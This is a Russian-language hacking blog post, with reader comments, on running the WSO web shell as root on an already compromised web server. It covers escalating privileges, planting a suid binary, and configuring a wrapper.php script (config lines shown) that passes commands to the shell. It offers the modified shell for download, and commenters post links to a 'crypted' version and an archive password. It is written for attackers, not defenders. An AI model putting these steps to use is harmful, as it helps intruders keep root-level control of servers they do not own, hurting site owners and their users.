среда, 6 июля 2011 г.

Рутовый WSO веб-шелл

Решил запостить у себя, возможно кто-то еще не в курсе.
Итак, читаем сообщение в блоге хакера с ником nobody. Там говорится о способе заставить работать веб-шелл WSO 2.5 из под рута. Этот способ основывается на передаче команд php-интерпретатору, который вызывается из-под рута.
Сначала поднимаем на целевом сервере права до root`a. Получаем суидник.

Далее нам понадобится два файла:
  • wrapper.php - скрипт, который будет передавать команды веб-шеллу
  • wso_root.php - сам веб-шелл. Его пришлось немного модифицировать
Редактируем конфиг враппера (wrapper.php):
//config
$suid = "/tmp/bin";
$suid_pass = "123";
$wso_path = "/var/www/site/shell.php"; 
Как вы наверно поняли:
$suid - путь до суидника;
$suid_pass - пароль от суидника;
$wso_path - путь до веб-шелла

                      Демонстрация (картинка кликабельная):


Замечание: этот способ пока работает только с шеллами, которые не защищены паролем.

Скачать: wso_root.zip

P.S. авторство этого способа принадлежит nobody

7 комментариев:

  1. метод юзаю уже несколько месяцев, тока у мну wso 2.4 рутовый :-) надо обновится

    ОтветитьУдалить
  2. $suid_pass - пароль от суидника где его взять

    ОтветитьУдалить
  3. $suid_pass - пароль от суидника, указывается в исходнике суидника.

    ОтветитьУдалить
  4. кстати, проблема с загрузкой и копированием файлов решаема?

    ОтветитьУдалить
  5. вот обновленная крипт версия http://gfile.ru/a5DOc

    ОтветитьУдалить
  6. [url=http://myfolder.ru/files/40408915]скачать[/url] пароль на архив wso

    ОтветитьУдалить